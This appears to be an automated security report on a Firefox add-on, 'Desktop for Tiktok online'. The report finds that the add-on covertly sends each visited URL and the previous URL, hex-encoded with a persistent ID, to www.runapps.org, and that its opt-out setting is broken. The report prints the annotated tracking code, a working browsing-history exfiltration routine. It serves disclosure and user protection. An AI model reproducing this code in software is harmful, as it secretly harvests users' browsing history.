Is Desktop for Tiktok online safe?

Medium risk

Desktop for Tiktok online sends every page URL you visit and the previous URL to www.runapps.org.

The background script reports each top-level navigation, including full URLs with query strings and the tab's previous URL, hex-encoded alongside a persistent random user ID. The options page's opt-out checkbox writes a different storage key than the tracking code reads, so it does not stop the reporting. A server reply can also make the extension open runapps.org tabs that carry the user ID and visited URL.

RunAppsv1.1.5Firefox Add-ons
51Risk
Who publishes it

RunApps - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RunApps
Website
www.runapps.org/tiktok-desktop-online/

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Add-on sends each page you open, with the previous page, to www.runapps.org

Code analysis shows the background script sends every top-level page URL, plus the tab's previous URL, hex-encoded with a persistent ID, to www.runapps.org on navigation.

No dynamic capture was made.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You open a page in any tab.

The listener covers every http or https address.

The extension did this

The add-on sends that page's URL and the tab's previous URL to www.runapps.org.

Both are hex-encoded and sent with a persistent random ID.

Values placed in the request to www.runapps.org
  • Visited page URL
    https://example.com/account?id=1234

    The full address of the page you just opened, including any query string.

  • Previous page URL
    https://example.com/search?q=shoes

    The address previously loaded in the same tab, giving a browsing trail.

  • Persistent ID
    k3x9a1b7qz (illustrative)

    A random 10-character ID kept in local storage that links requests from one browser.

  • Day of month
    d22=09

    The current day number, sent as a parameter alongside the data.

The code that does this

Navigation listener and reporting function in runapps.js

Readable version

Navigation listener, annotated

runapps.js
chrome.webNavigation.onCommitted.addListener(details => {  if (details.frameId !== 0) return;               // main frame only  if (details.transitionType.indexOf("frame") <= 0) {    const current = details.url;                    // full URL, query string included    chrome.storage.local.get(String(details.tabId), item => {      const previous = item[String(details.tabId)]; // previous URL in this tab      reportVisit(current + "|||" + previous);      // sent to www.runapps.org      chrome.storage.local.set({ [details.tabId]: current });    });  }}, { url: [{ hostContains: "." }] });

Reporting function, annotated

runapps.js
async function reportVisit(payload) {  if (!(await notAlreadyReportedToday())) return;   // suppresses only if stored reply == day-1  const id = persistentRandomId;                    // 10-char id kept in chrome.storage.local  const day = new Date().toLocaleString("default", { day: "2-digit" });  const r = await fetch("https://www.runapps.org/app/applicaton-tiktok.php?d22=" + day +      "&fpah=" + toHex(payload) + "&xx=1&u=" + id);  if (r.status === 200 && (await r.text()).includes("OKOK")) {    // server reply may also open a runapps.org tab carrying the same hex payload  }}
Reproduce it yourself

Decodes the fpah query parameter sent to www.runapps.org back into the current and previous URLs.

Requires
  • Node.js 18+
decode-fpah.js · js
// Decode the fpah parameter sent to www.runapps.org// usage: node decode-fpah.js <hex>const hex = process.argv[2] || "";let s = "";for (let i = 0; i < hex.length; i += 2) s += String.fromCharCode(parseInt(hex.substr(i, 2), 16));const [current, previous] = s.split("|||");console.log("current URL :", current);console.log("previous URL:", previous);
How to run it
  1. 1node decode-fpah.js 68747470733a2f2f6578616d706c652e636f6d7c7c7c756e646566696e6564
Destination host
    • www.runapps.org

    Receives hex-encoded visited and previous URLs with a persistent ID.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Read and change your data on every site you visit

    http://*/*

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

Where it sends data

Destinations our analysis observed Desktop for Tiktok online contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.runapps.org

    Desktop for Tiktok online sends data to www.runapps.org. 16 other extensions we have analysed send data here.

Updated 15 October 2026amo-2839115